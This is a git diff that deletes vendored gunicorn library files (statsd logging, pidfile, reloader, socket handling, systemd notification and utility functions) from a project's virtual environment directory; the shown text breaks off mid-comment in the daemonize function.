self.prefix = sub(r"^(.+[^.]+)\.*$", "\\g<1>.", cfg.statsd_prefix) - - if isinstance(cfg.statsd_host, str): - address_family = socket.AF_UNIX - else: - address_family = socket.AF_INET - - try: - self.sock = socket.socket(address_family, socket.SOCK_DGRAM) - self.sock.connect(cfg.statsd_host) - except Exception: - self.sock = None - - self.dogstatsd_tags = cfg.dogstatsd_tags - - # Log errors and warnings - def critical(self, msg, *args, **kwargs): - Logger.critical(self, msg, *args, **kwargs) - self.increment("gunicorn.log.critical", 1) - - def error(self, msg, *args, **kwargs): - Logger.error(self, msg, *args, **kwargs) - self.increment("gunicorn.log.error", 1) - - def warning(self, msg, *args, **kwargs): - Logger.warning(self, msg, *args, **kwargs) - self.increment("gunicorn.log.warning", 1) - - def exception(self, msg, *args, **kwargs): - Logger.exception(self, msg, *args, **kwargs) - self.increment("gunicorn.log.exception", 1) - - # Special treatment for info, the most common log level - def info(self, msg, *args, **kwargs): - self.log(logging.INFO, msg, *args, **kwargs) - - # skip the run-of-the-mill logs - def debug(self, msg, *args, **kwargs): - self.log(logging.DEBUG, msg, *args, **kwargs) - - def log(self, lvl, msg, *args, **kwargs): - """Log a given statistic if metric, value and type are present - """ - try: - extra = kwargs.get("extra", None) - if extra is not None: - metric = extra.get(METRIC_VAR, None) - value = extra.get(VALUE_VAR, None) - typ = extra.get(MTYPE_VAR, None) - if metric and value is not None and typ: - if typ == GAUGE_TYPE: - self.gauge(metric, value) - elif typ == COUNTER_TYPE: - self.increment(metric, value) - elif typ == HISTOGRAM_TYPE: - self.histogram(metric, value) - elif typ == TIMER_TYPE: - self.timer(metric, value) - else: - pass - - # Log to parent logger only if there is something to say - if msg: - Logger.log(self, lvl, msg, *args, **kwargs) - except Exception: - Logger.warning(self, "Failed to log to statsd", exc_info=True) - - # access logging - def access(self, resp, req, environ, request_time): - """Measure request duration - request_time is a datetime.timedelta - """ - Logger.access(self, resp, req, environ, request_time) - duration_in_ms = request_time.seconds * 1000 + float(request_time.microseconds) / 10 ** 3 - status = resp.status - if isinstance(status, bytes): - status = status.decode('utf-8') - if isinstance(status, str): - status = int(status.split(None, 1)[0]) - self.timer("gunicorn.request.duration", duration_in_ms) - self.increment("gunicorn.requests", 1) - self.increment("gunicorn.request.status.%d" % status, 1) - - # statsD methods - # you can use those directly if you want - def gauge(self, name, value): - self._sock_send("{0}{1}:{2}|g".format(self.prefix, name, value)) - - def increment(self, name, value, sampling_rate=1.0): - self._sock_send("{0}{1}:{2}|c|@{3}".format(self.prefix, name, value, sampling_rate)) - - def decrement(self, name, value, sampling_rate=1.0): - self._sock_send("{0}{1}:-{2}|c|@{3}".format(self.prefix, name, value, sampling_rate)) - - def timer(self, name, value): - self._sock_send("{0}{1}:{2}|ms".format(self.prefix, name, value)) - - def histogram(self, name, value): - self._sock_send("{0}{1}:{2}|h".format(self.prefix, name, value)) - - def _sock_send(self, msg): - try: - if isinstance(msg, str): - msg = msg.encode("ascii") - - # http://docs.datadoghq.com/guides/dogstatsd/#datagram-format - if self.dogstatsd_tags: - msg = msg + b"|#" + self.dogstatsd_tags.encode('ascii') - - if self.sock: - self.sock.send(msg) - except Exception: - Logger.warning(self, "Error sending message to statsd", exc_info=True) diff --git a/venv/Lib/site-packages/gunicorn/pidfile.py b/venv/Lib/site-packages/gunicorn/pidfile.py deleted file mode 100644 index 8ba7fec24dd426bb89d67051fadd4888244a3f3d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/pidfile.py +++ /dev/null @@ -1,87 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import errno -import os -import tempfile - - -class Pidfile: - """\ - Manage a PID file. If a specific name is provided - it and '"%s.oldpid" % name' will be used. Otherwise - we create a temp file using os.mkstemp. - """ - - def __init__(self, fname): - self.fname = fname - self.pid = None - - def create(self, pid): - oldpid = self.validate() - if oldpid: - if oldpid == os.getpid(): - return - msg = "Already running on PID %s (or pid file '%s' is stale)" - raise RuntimeError(msg % (oldpid, self.fname)) - - self.pid = pid - - # Write pidfile - fdir = os.path.dirname(self.fname) - if fdir and not os.path.isdir(fdir): - raise RuntimeError("%s doesn't exist. Can't create pidfile." % fdir) - fd, fname = tempfile.mkstemp(dir=fdir) - try: - os.write(fd, ("%s\n" % self.pid).encode('utf-8')) - if self.fname: - os.rename(fname, self.fname) - else: - self.fname = fname - finally: - os.close(fd) - - # set permissions to -rw-r--r-- - os.chmod(self.fname, 420) - - def rename(self, path): - self.unlink() - self.fname = path - self.create(self.pid) - - def unlink(self): - """ delete pidfile""" - try: - with open(self.fname) as f: - pid1 = int(f.read() or 0) - - if pid1 == self.pid: - os.unlink(self.fname) - except Exception: - pass - - def validate(self): - """ Validate pidfile and make it stale if needed""" - if not self.fname: - return - try: - with open(self.fname) as f: - try: - wpid = int(f.read()) - except ValueError: - return - - try: - os.kill(wpid, 0) - return wpid - except OSError as e: - if e.args[0] == errno.EPERM: - return wpid - if e.args[0] == errno.ESRCH: - return - raise - except OSError as e: - if e.args[0] == errno.ENOENT: - return - raise diff --git a/venv/Lib/site-packages/gunicorn/reloader.py b/venv/Lib/site-packages/gunicorn/reloader.py deleted file mode 100644 index 156881dce8d562c89246094453deadf8694ca443..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/reloader.py +++ /dev/null @@ -1,142 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. -# pylint: disable=no-else-continue - -import glob -import os -import os.path -import re -import sys -import time -import threading - -from gunicorn import util - -COMPILED_EXT_RE = re.compile(r'py[co]$') - - -class ReloaderBase(threading.Thread): - def __init__(self, extra_files=None, interval=1, callback=None): - super().__init__() - self.daemon = True - self._extra_files = set() - self._extra_patterns = set() - for entry in extra_files or (): - if util.is_glob_pattern(entry): - self._extra_patterns.add(entry) - else: - self._extra_files.add(entry) - self._interval = interval - self._callback = callback - - def add_extra_file(self, filename): - self._extra_files.add(filename) - - def get_files(self): - fnames = [ - COMPILED_EXT_RE.sub('py', module.__file__) - for module in tuple(sys.modules.values()) - if getattr(module, '__file__', None) - ] - - fnames.extend(self._extra_files) - - # Expanded on every call rather than once at startup, so that files - # created after the server booted are picked up too. - for pattern in self._extra_patterns: - fnames.extend(sorted(glob.glob(pattern, recursive=True))) - - return fnames - - -class Reloader(ReloaderBase): - def run(self): - mtimes = {} - while True: - for filename in self.get_files(): - try: - mtime = os.stat(filename).st_mtime - except OSError: - continue - old_time = mtimes.get(filename) - if old_time is None: - mtimes[filename] = mtime - continue - elif mtime > old_time: - if self._callback: - self._callback(filename) - time.sleep(self._interval) - - -has_inotify = False -if sys.platform.startswith('linux'): - try: - from inotify.adapters import Inotify - import inotify.constants - has_inotify = True - except ImportError: - pass - - -if has_inotify: - - class InotifyReloader(ReloaderBase): - event_mask = (inotify.constants.IN_CREATE | inotify.constants.IN_DELETE - | inotify.constants.IN_DELETE_SELF | inotify.constants.IN_MODIFY - | inotify.constants.IN_MOVE_SELF | inotify.constants.IN_MOVED_FROM - | inotify.constants.IN_MOVED_TO) - - def __init__(self, extra_files=None, callback=None): - super().__init__(extra_files=extra_files, callback=callback) - self._dirs = set() - self._watcher = Inotify() - - def add_extra_file(self, filename): - super().add_extra_file(filename) - - dirname = os.path.dirname(filename) or '.' - if dirname in self._dirs: - return - - self._watcher.add_watch(dirname, mask=self.event_mask) - self._dirs.add(dirname) - - def get_dirs(self): - dirnames = [os.path.dirname(os.path.abspath(fname)) for fname in self.get_files()] - return set(dirnames) - - def refresh_dirs(self): - new_dirs = self.get_dirs().difference(self._dirs) - self._dirs.update(new_dirs) - for new_dir in new_dirs: - if os.path.isdir(new_dir): - self._watcher.add_watch(new_dir, mask=self.event_mask) - - def run(self): - self.refresh_dirs() - - for event in self._watcher.event_gen(): - if event is None: - self.refresh_dirs() - continue - - filename = event[3] - - self._callback(filename) - -else: - - class InotifyReloader: - def __init__(self, extra_files=None, callback=None): - raise ImportError('You must have the inotify module installed to ' - 'use the inotify reloader') - - -preferred_reloader = InotifyReloader if has_inotify else Reloader - -reloader_engines = { - 'auto': preferred_reloader, - 'poll': Reloader, - 'inotify': InotifyReloader, -} diff --git a/venv/Lib/site-packages/gunicorn/sock.py b/venv/Lib/site-packages/gunicorn/sock.py deleted file mode 100644 index f8b0615ddca6e4d548b33a7e23d6a275699c35a1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/sock.py +++ /dev/null @@ -1,315 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import errno -import os -import socket -import ssl -import stat -import struct -import sys -import time - -from gunicorn import util - -PLATFORM = sys.platform - - -class BaseSocket: - - def __init__(self, address, conf, log, fd=None): - self.log = log - self.conf = conf - - self.cfg_addr = address - if fd is None: - sock = socket.socket(self.FAMILY, socket.SOCK_STREAM) - bound = False - else: - sock = socket.fromfd(fd, self.FAMILY, socket.SOCK_STREAM) - os.close(fd) - bound = True - - self.sock = self.set_options(sock, bound=bound) - - def __str__(self): - return "" % self.sock.fileno() - - def __getattr__(self, name): - return getattr(self.sock, name) - - def set_options(self, sock, bound=False): - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - if (self.conf.reuse_port - and hasattr(socket, 'SO_REUSEPORT')): # pragma: no cover - try: - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) - except OSError as err: - if err.errno not in (errno.ENOPROTOOPT, errno.EINVAL): - raise - if not bound: - self.bind(sock) - sock.setblocking(0) - - # make sure that the socket can be inherited - if hasattr(sock, "set_inheritable"): - sock.set_inheritable(True) - - sock.listen(self.conf.backlog) - return sock - - def bind(self, sock): - sock.bind(self.cfg_addr) - - def close(self): - if self.sock is None: - return - - try: - self.sock.close() - except OSError as e: - self.log.info("Error while closing socket %s", str(e)) - - self.sock = None - - def get_backlog(self): - return -1 - - -class TCPSocket(BaseSocket): - - FAMILY = socket.AF_INET - - def __str__(self): - if self.conf.is_ssl: - scheme = "https" - else: - scheme = "http" - - addr = self.sock.getsockname() - return "%s://%s:%d" % (scheme, addr[0], addr[1]) - - def set_options(self, sock, bound=False): - sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) - return super().set_options(sock, bound=bound) - - if PLATFORM == "linux": - def get_backlog(self): - if self.sock: - # tcp_info struct from include/uapi/linux/tcp.h - fmt = 'B' * 8 + 'I' * 24 - try: - tcp_info_struct = self.sock.getsockopt(socket.IPPROTO_TCP, - socket.TCP_INFO, 104) - # 12 is tcpi_unacked - return struct.unpack(fmt, tcp_info_struct)[12] - except (AttributeError, OSError): - pass - return 0 - else: - def get_backlog(self): - return -1 - - -class TCP6Socket(TCPSocket): - - FAMILY = socket.AF_INET6 - - def __str__(self): - (host, port, _, _) = self.sock.getsockname() - return "http://[%s]:%d" % (host, port) - - -class UnixSocket(BaseSocket): - - FAMILY = socket.AF_UNIX - - def __init__(self, addr, conf, log, fd=None): - if fd is None: - try: - st = os.stat(addr) - except OSError as e: - if e.args[0] != errno.ENOENT: - raise - else: - if stat.S_ISSOCK(st.st_mode): - os.remove(addr) - else: - raise ValueError("%r is not a socket" % addr) - super().__init__(addr, conf, log, fd=fd) - - def __str__(self): - return "unix:%s" % self.cfg_addr - - def bind(self, sock): - old_umask = os.umask(self.conf.umask) - sock.bind(self.cfg_addr) - util.chown(self.cfg_addr, self.conf.uid, self.conf.gid) - os.umask(old_umask) - - -def _sock_type(addr): - if isinstance(addr, tuple): - if util.is_ipv6(addr[0]): - sock_type = TCP6Socket - else: - sock_type = TCPSocket - elif isinstance(addr, (str, bytes)): - sock_type = UnixSocket - else: - raise TypeError("Unable to create socket from: %r" % addr) - return sock_type - - -def create_sockets(conf, log, fds=None): - """ - Create a new socket for the configured addresses or file descriptors. - - If a configured address is a tuple then a TCP socket is created. - If it is a string, a Unix socket is created. Otherwise, a TypeError is - raised. - """ - listeners = [] - - # get it only once - addr = conf.address - fdaddr = [bind for bind in addr if isinstance(bind, int)] - if fds: - fdaddr += list(fds) - laddr = [bind for bind in addr if not isinstance(bind, int)] - - # check ssl config early to raise the error on startup - # only the certfile is needed since it can contains the keyfile - if conf.certfile and not os.path.exists(conf.certfile): - raise ValueError('certfile "%s" does not exist' % conf.certfile) - - if conf.keyfile and not os.path.exists(conf.keyfile): - raise ValueError('keyfile "%s" does not exist' % conf.keyfile) - - # sockets are already bound - if fdaddr: - for fd in fdaddr: - sock = socket.fromfd(fd, socket.AF_UNIX, socket.SOCK_STREAM) - sock_name = sock.getsockname() - sock_type = _sock_type(sock_name) - listener = sock_type(sock_name, conf, log, fd=fd) - listeners.append(listener) - - return listeners - - # no sockets is bound, first initialization of gunicorn in this env. - for addr in laddr: - sock_type = _sock_type(addr) - sock = None - for i in range(5): - try: - sock = sock_type(addr, conf, log) - except OSError as e: - if e.args[0] == errno.EADDRINUSE: - log.error("Connection in use: %s", str(addr)) - if e.args[0] == errno.EADDRNOTAVAIL: - log.error("Invalid address: %s", str(addr)) - msg = "connection to {addr} failed: {error}" - log.error(msg.format(addr=str(addr), error=str(e))) - if i < 5: - log.debug("Retrying in 1 second.") - time.sleep(1) - else: - break - - if sock is None: - log.error("Can't connect to %s", str(addr)) - sys.exit(1) - - listeners.append(sock) - - return listeners - - -def close_sockets(listeners, unlink=True): - for sock in listeners: - sock_name = sock.getsockname() - sock.close() - if unlink and _sock_type(sock_name) is UnixSocket: - os.unlink(sock_name) - - -def _get_alpn_protocols(conf): - """Get ALPN protocol list from configuration. - - Returns list of ALPN protocol identifiers based on http_protocols setting. - Returns empty list if HTTP/2 is not configured or available. - """ - from gunicorn.config import ALPN_PROTOCOL_MAP - - http_protocols = conf.http_protocols - if not http_protocols: - return [] - - # Only configure ALPN if h2 is in the protocol list - if "h2" not in http_protocols: - return [] - - # Check if h2 library is available - from gunicorn.http2 import is_http2_available - if not is_http2_available(): - return [] - - # Map to ALPN identifiers, maintaining preference order - alpn_protocols = [] - for proto in http_protocols: - if proto in ALPN_PROTOCOL_MAP: - alpn_protocols.append(ALPN_PROTOCOL_MAP[proto]) - return alpn_protocols - - -def ssl_context(conf): - def default_ssl_context_factory(): - context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH, cafile=conf.ca_certs) - context.load_cert_chain(certfile=conf.certfile, keyfile=conf.keyfile) - context.verify_mode = conf.cert_reqs - if conf.ciphers: - context.set_ciphers(conf.ciphers) - - # Configure ALPN for HTTP/2 if enabled - alpn_protocols = _get_alpn_protocols(conf) - if alpn_protocols: - context.set_alpn_protocols(alpn_protocols) - - return context - - return conf.ssl_context(conf, default_ssl_context_factory) - - -def ssl_wrap_socket(sock, conf): - return ssl_context(conf).wrap_socket(sock, - server_side=True, - suppress_ragged_eofs=conf.suppress_ragged_eofs, - do_handshake_on_connect=conf.do_handshake_on_connect) - - -def get_negotiated_protocol(ssl_socket): - """Get the negotiated ALPN protocol from an SSL socket. - - Returns: - str: The negotiated protocol name ('h2', 'http/1.1', etc.) - or None if no protocol was negotiated. - """ - if not isinstance(ssl_socket, ssl.SSLSocket): - return None - - try: - return ssl_socket.selected_alpn_protocol() - except (AttributeError, ssl.SSLError): - return None - - -def is_http2_negotiated(ssl_socket): - """Check if HTTP/2 was negotiated on an SSL socket. - - Returns: - bool: True if HTTP/2 was negotiated via ALPN. - """ - protocol = get_negotiated_protocol(ssl_socket) - return protocol == "h2" diff --git a/venv/Lib/site-packages/gunicorn/systemd.py b/venv/Lib/site-packages/gunicorn/systemd.py deleted file mode 100644 index 976edabee81ecb58e44184c66da72bfe3d412e48..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/systemd.py +++ /dev/null @@ -1,77 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import os -import socket - -SD_LISTEN_FDS_START = 3 - - -def listen_fds(unset_environment=True): - """ - Get the number of sockets inherited from systemd socket activation. - - :param unset_environment: clear systemd environment variables unless False - :type unset_environment: bool - :return: the number of sockets to inherit from systemd socket activation - :rtype: int - - Returns zero immediately if $LISTEN_PID is not set to the current pid. - Otherwise, returns the number of systemd activation sockets specified by - $LISTEN_FDS. - - When $LISTEN_PID matches the current pid, unsets the environment variables - unless the ``unset_environment`` flag is ``False``. - - .. note:: - Unlike the sd_listen_fds C function, this implementation does not set - the FD_CLOEXEC flag because the gunicorn arbiter never needs to do this. - - .. seealso:: - ``_ - - """ - fds = int(os.environ.get('LISTEN_FDS', 0)) - listen_pid = int(os.environ.get('LISTEN_PID', 0)) - - if listen_pid != os.getpid(): - return 0 - - if unset_environment: - os.environ.pop('LISTEN_PID', None) - os.environ.pop('LISTEN_FDS', None) - - return fds - - -def sd_notify(state, logger, unset_environment=False): - """Send a notification to systemd. state is a string; see - the man page of sd_notify (http://www.freedesktop.org/software/systemd/man/sd_notify.html) - for a description of the allowable values. - - If the unset_environment parameter is True, sd_notify() will unset - the $NOTIFY_SOCKET environment variable before returning (regardless of - whether the function call itself succeeded or not). Further calls to - sd_notify() will then fail, but the variable is no longer inherited by - child processes. - """ - - addr = os.environ.get('NOTIFY_SOCKET') - if addr is None: - # not run in a service, just a noop - return - sock = None - try: - sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM | socket.SOCK_CLOEXEC) - if addr[0] == '@': - addr = '\0' + addr[1:] - sock.connect(addr) - sock.sendall(state.encode('utf-8')) - except Exception: - logger.debug("Exception while invoking sd_notify()", exc_info=True) - finally: - if unset_environment: - os.environ.pop('NOTIFY_SOCKET') - if sock is not None: - sock.close() diff --git a/venv/Lib/site-packages/gunicorn/util.py b/venv/Lib/site-packages/gunicorn/util.py deleted file mode 100644 index 6dec339f4aa12e03583b9a78ad17cf3bbe61410f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/util.py +++ /dev/null @@ -1,703 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. -import ast -import email.utils -import errno -import fcntl -import html -import importlib -import inspect -import io -import logging -import os -import pwd -import random -import re -import socket -import sys -import textwrap -import time -import traceback -import warnings - -try: - import importlib.metadata as importlib_metadata -except (ModuleNotFoundError, ImportError): - import importlib_metadata - -from gunicorn.errors import AppImportError -from gunicorn.workers import SUPPORTED_WORKERS -import urllib.parse - -REDIRECT_TO = getattr(os, 'devnull', '/dev/null') - -# Characters that make a path a glob pattern rather than a literal path. -# glob.has_magic() does the same thing but is absent from glob.__all__. -GLOB_MAGIC_RE = re.compile(r'[*?[]') - -# Server and Date aren't technically hop-by-hop -# headers, but they are in the purview of the -# origin server which the WSGI spec says we should -# act like. So we drop them and add our own. -# -# In the future, concatenation server header values -# might be better, but nothing else does it and -# dropping them is easier. -hop_headers = set(""" - connection keep-alive proxy-authenticate proxy-authorization - te trailers transfer-encoding upgrade - server date - """.split()) - -# setproctitle causes segfaults on macOS due to fork() safety issues -# https://github.com/benoitc/gunicorn/issues/3021 -if sys.platform == "darwin": - def _setproctitle(title): - pass -else: - try: - from setproctitle import setproctitle, getproctitle - - # Force early initialization before any os.environ modifications - # (e.g. removing LISTEN_FDS in systemd socket activation) - # https://github.com/benoitc/gunicorn/issues/3430 - getproctitle() - - def _setproctitle(title): - setproctitle("gunicorn: %s" % title) - except ImportError: - def _setproctitle(title): - pass - - -def is_glob_pattern(value): - """Return True if the string should be treated as a glob pattern.""" - return GLOB_MAGIC_RE.search(value) is not None - - -def load_entry_point(distribution, group, name): - dist_obj = importlib_metadata.distribution(distribution) - eps = [ep for ep in dist_obj.entry_points - if ep.group == group and ep.name == name] - if not eps: - raise ImportError("Entry point %r not found" % ((group, name),)) - return eps[0].load() - - -def load_class(uri, default="gunicorn.workers.sync.SyncWorker", - section="gunicorn.workers"): - if inspect.isclass(uri): - return uri - if uri.startswith("egg:"): - # uses entry points - entry_str = uri.split("egg:")[1] - try: - dist, name = entry_str.rsplit("#", 1) - except ValueError: - dist = entry_str - name = default - - try: - return load_entry_point(dist, section, name) - except Exception: - exc = traceback.format_exc() - msg = "class uri %r invalid or not found: \n\n[%s]" - raise RuntimeError(msg % (uri, exc)) - else: - components = uri.split('.') - if len(components) == 1: - while True: - if uri.startswith("#"): - uri = uri[1:] - - if uri in SUPPORTED_WORKERS: - components = SUPPORTED_WORKERS[uri].split(".") - break - - try: - return load_entry_point( - "gunicorn", section, uri - ) - except Exception: - exc = traceback.format_exc() - msg = "class uri %r invalid or not found: \n\n[%s]" - raise RuntimeError(msg % (uri, exc)) - - klass = components.pop(-1) - - try: - mod = importlib.import_module('.'.join(components)) - except Exception: - exc = traceback.format_exc() - msg = "class uri %r invalid or not found: \n\n[%s]" - raise RuntimeError(msg % (uri, exc)) - return getattr(mod, klass) - - -positionals = ( - inspect.Parameter.POSITIONAL_ONLY, - inspect.Parameter.POSITIONAL_OR_KEYWORD, -) - - -def get_arity(f): - sig = inspect.signature(f) - arity = 0 - - for param in sig.parameters.values(): - if param.kind in positionals: - arity += 1 - - return arity - - -def get_username(uid): - """ get the username for a user id""" - return pwd.getpwuid(uid).pw_name - - -def set_owner_process(uid, gid, initgroups=False): - """ set user and group of workers processes """ - - if gid: - if uid: - try: - username = get_username(uid) - except KeyError: - initgroups = False - - if initgroups: - os.initgroups(username, gid) - elif gid != os.getgid(): - os.setgid(gid) - - if uid and uid != os.getuid(): - os.setuid(uid) - - -def chown(path, uid, gid): - os.chown(path, uid, gid) - - -if sys.platform.startswith("win"): - def _waitfor(func, pathname, waitall=False): - # Perform the operation - func(pathname) - # Now setup the wait loop - if waitall: - dirname = pathname - else: - dirname, name = os.path.split(pathname) - dirname = dirname or '.' - # Check for `pathname` to be removed from the filesystem. - # The exponential backoff of the timeout amounts to a total - # of ~1 second after which the deletion is probably an error - # anyway. - # Testing on a i7@4.3GHz shows that usually only 1 iteration is - # required when contention occurs. - timeout = 0.001 - while timeout < 1.0: - # Note we are only testing for the existence of the file(s) in - # the contents of the directory regardless of any security or - # access rights. If we have made it this far, we have sufficient - # permissions to do that much using Python's equivalent of the - # Windows API FindFirstFile. - # Other Windows APIs can fail or give incorrect results when - # dealing with files that are pending deletion. - L = os.listdir(dirname) - if not L if waitall else name in L: - return - # Increase the timeout and try again - time.sleep(timeout) - timeout *= 2 - warnings.warn('tests may fail, delete still pending for ' + pathname, - RuntimeWarning, stacklevel=4) - - def _unlink(filename): - _waitfor(os.unlink, filename) -else: - _unlink = os.unlink - - -def unlink(filename): - try: - _unlink(filename) - except OSError as error: - # The filename need not exist. - if error.errno not in (errno.ENOENT, errno.ENOTDIR): - raise - - -def is_ipv6(addr): - try: - socket.inet_pton(socket.AF_INET6, addr) - except OSError: # not a valid address - return False - except ValueError: # ipv6 not supported on this platform - return False - return True - - -def parse_address(netloc, default_port='8000'): - if re.match(r'unix:(//)?', netloc): - return re.split(r'unix:(//)?', netloc)[-1] - - if netloc.startswith("fd://"): - fd = netloc[5:] - try: - return int(fd) - except ValueError: - raise RuntimeError("%r is not a valid file descriptor." % fd) from None - - if netloc.startswith("tcp://"): - netloc = netloc.split("tcp://")[1] - host, port = netloc, default_port - - if '[' in netloc and ']' in netloc: - host = netloc.split(']')[0][1:] - port = (netloc.split(']:') + [default_port])[1] - elif ':' in netloc: - host, port = (netloc.split(':') + [default_port])[:2] - elif netloc == "": - host, port = "0.0.0.0", default_port - - try: - port = int(port) - except ValueError: - raise RuntimeError("%r is not a valid port number." % port) - - return host.lower(), port - - -def close_on_exec(fd): - flags = fcntl.fcntl(fd, fcntl.F_GETFD) - flags |= fcntl.FD_CLOEXEC - fcntl.fcntl(fd, fcntl.F_SETFD, flags) - - -def set_non_blocking(fd): - flags = fcntl.fcntl(fd, fcntl.F_GETFL) | os.O_NONBLOCK - fcntl.fcntl(fd, fcntl.F_SETFL, flags) - - -def close(sock): - try: - sock.close() - except OSError: - pass - - -def close_graceful(sock, timeout=2.0, max_drain=65536): - """Close a TCP socket following RFC 9112 section 9.6. - - Half-closes the write side to send FIN, then lingers on the read side - to drain the kernel recv buffer until the peer closes or a cap is hit, - then fully closes. This avoids the kernel sending RST (truncating the - last response segment) when unread request data remains in the buffer. - """ - try: - try: - sock.shutdown(socket.SHUT_WR) - except OSError: - return - deadline = time.monotonic() + timeout - drained = 0 - while drained < max_drain: - remaining = deadline - time.monotonic() - if remaining <= 0: - break - try: - sock.settimeout(remaining) - data = sock.recv(4096) - except (socket.timeout, OSError): - break - if not data: - break - drained += len(data) - finally: - try: - sock.close() - except OSError: - pass - - -try: - from os import closerange -except ImportError: - def closerange(fd_low, fd_high): - # Iterate through and close all file descriptors. - for fd in range(fd_low, fd_high): - try: - os.close(fd) - except OSError: # ERROR, fd wasn't open to begin with (ignored) - pass - - -def write_chunk(sock, data): - if isinstance(data, str): - data = data.encode('utf-8') - chunk_size = "%X\r\n" % len(data) - chunk = b"".join([chunk_size.encode('utf-8'), data, b"\r\n"]) - sock.sendall(chunk) - - -def write(sock, data, chunked=False): - if chunked: - return write_chunk(sock, data) - sock.sendall(data) - - -def write_nonblock(sock, data, chunked=False): - timeout = sock.gettimeout() - if timeout != 0.0: - try: - sock.setblocking(0) - return write(sock, data, chunked) - finally: - sock.setblocking(1) - else: - return write(sock, data, chunked) - - -def write_error(sock, status_int, reason, mesg): - html_error = textwrap.dedent("""\ - - - %(reason)s - - -

%(reason)s

- %(mesg)s - - - """) % {"reason": reason, "mesg": html.escape(mesg)} - - http = textwrap.dedent("""\ - HTTP/1.1 %s %s\r - Connection: close\r - Content-Type: text/html\r - Content-Length: %d\r - \r - %s""") % (str(status_int), reason, len(html_error), html_error) - write_nonblock(sock, http.encode('latin1')) - - -def _called_with_wrong_args(f): - """Check whether calling a function raised a ``TypeError`` because - the call failed or because something in the function raised the - error. - - :param f: The function that was called. - :return: ``True`` if the call failed. - """ - tb = sys.exc_info()[2] - - try: - while tb is not None: - if tb.tb_frame.f_code is f.__code__: - # In the function, it was called successfully. - return False - - tb = tb.tb_next - - # Didn't reach the function. - return True - finally: - # Delete tb to break a circular reference in Python 2. - # https://docs.python.org/2/library/sys.html#sys.exc_info - del tb - - -def import_app(module): - parts = module.split(":", 1) - if len(parts) == 1: - obj = "application" - else: - module, obj = parts[0], parts[1] - - try: - mod = importlib.import_module(module) - except ImportError: - if module.endswith(".py") and os.path.exists(module): - msg = "Failed to find application, did you mean '%s:%s'?" - raise ImportError(msg % (module.rsplit(".", 1)[0], obj)) - raise - - # Parse obj as a single expression to determine if it's a valid - # attribute name or function call. - try: - expression = ast.parse(obj, mode="eval").body - except SyntaxError: - raise AppImportError( - "Failed to parse %r as an attribute name or function call." % obj - ) - - if isinstance(expression, ast.Name): - name = expression.id - args = kwargs = None - elif isinstance(expression, ast.Call): - # Ensure the function name is an attribute name only. - if not isinstance(expression.func, ast.Name): - raise AppImportError("Function reference must be a simple name: %r" % obj) - - name = expression.func.id - - # Parse the positional and keyword arguments as literals. - try: - args = [ast.literal_eval(arg) for arg in expression.args] - kwargs = {kw.arg: ast.literal_eval(kw.value) for kw in expression.keywords} - except ValueError: - # literal_eval gives cryptic error messages, show a generic - # message with the full expression instead. - raise AppImportError( - "Failed to parse arguments as literal values: %r" % obj - ) - else: - raise AppImportError( - "Failed to parse %r as an attribute name or function call." % obj - ) - - is_debug = logging.root.level == logging.DEBUG - try: - app = getattr(mod, name) - except AttributeError: - if is_debug: - traceback.print_exception(*sys.exc_info()) - raise AppImportError("Failed to find attribute %r in %r." % (name, module)) - - # If the expression was a function call, call the retrieved object - # to get the real application. - if args is not None: - try: - app = app(*args, **kwargs) - except TypeError as e: - # If the TypeError was due to bad arguments to the factory - # function, show Python's nice error message without a - # traceback. - if _called_with_wrong_args(app): - raise AppImportError( - "".join(traceback.format_exception_only(TypeError, e)).strip() - ) - - # Otherwise it was raised from within the function, show the - # full traceback. - raise - - if app is None: - raise AppImportError("Failed to find application object: %r" % obj) - - if not callable(app): - raise AppImportError("Application object must be callable.") - return app - - -def getcwd(): - # get current path, try to use PWD env first - try: - a = os.stat(os.environ['PWD']) - b = os.stat(os.getcwd()) - if a.st_ino == b.st_ino and a.st_dev == b.st_dev: - cwd = os.environ['PWD'] - else: - cwd = os.getcwd() - except Exception: - cwd = os.getcwd() - return cwd - - -def http_date(timestamp=None): - """Return the current date and time formatted for a message header.""" - if timestamp is None: - timestamp = time.time() - s = email.utils.formatdate(timestamp, localtime=False, usegmt=True) - return s - - -def is_hoppish(header): - return header.lower().strip() in hop_headers - - -def daemonize(enable_stdio_inheritance=False): - """\ - Standard daemonization of a process. - http://www.faqs.org/faqs/unix-faq/programmer/faq/ section 1.7 - """ - if 'GUNICORN_FD' not in os.environ: - if os.fork(): - os._exit(0) - os.setsid() - - if os.fork(): - os._exit(0) - - os.umask(0o22) - - # In both the following any file descriptors above stdin - # stdout and stderr are left untouched. The inheritance - # option simply allows one to have output go to a file - # specified by way of shell redirection when not wanting - # to use --error-log option. - - if not enable_stdio_inheritance: - # Remap all of stdin, stdout and stderr on to - # /dev/null. The expectation is that users have - # specified the --error-log option. - - closerange(0, 3) - - fd_null = os.open(REDIRECT_TO, os.O_RDWR) - # PEP 446, make fd for /dev/null inheritable - os.set_inheritable(fd_null, True) - - # expect fd_null to be always 0 here, but in-case not ... - if fd_null != 0: - os.dup2(fd_null, 0) - - os.dup2(fd_null, 1) - os.dup2(fd_null, 2) - - else: - fd_null = os.open(REDIRECT_TO, os.O_RDWR) - - # Always redirect stdin to /dev/null as we would - # never expect to need to read interactive input. - - if fd_null != 0: - os.close(0) - os.dup2(fd_null, 0) - - # If stdout and stderr are still connected to - # their original file descriptors we check to see - # if they are associated with terminal devices. - # When they are we map them to /dev/null so that - # are still detached from any controlling terminal - # properly. If not we preserve them as they are. - # - # If stdin and stdout were not 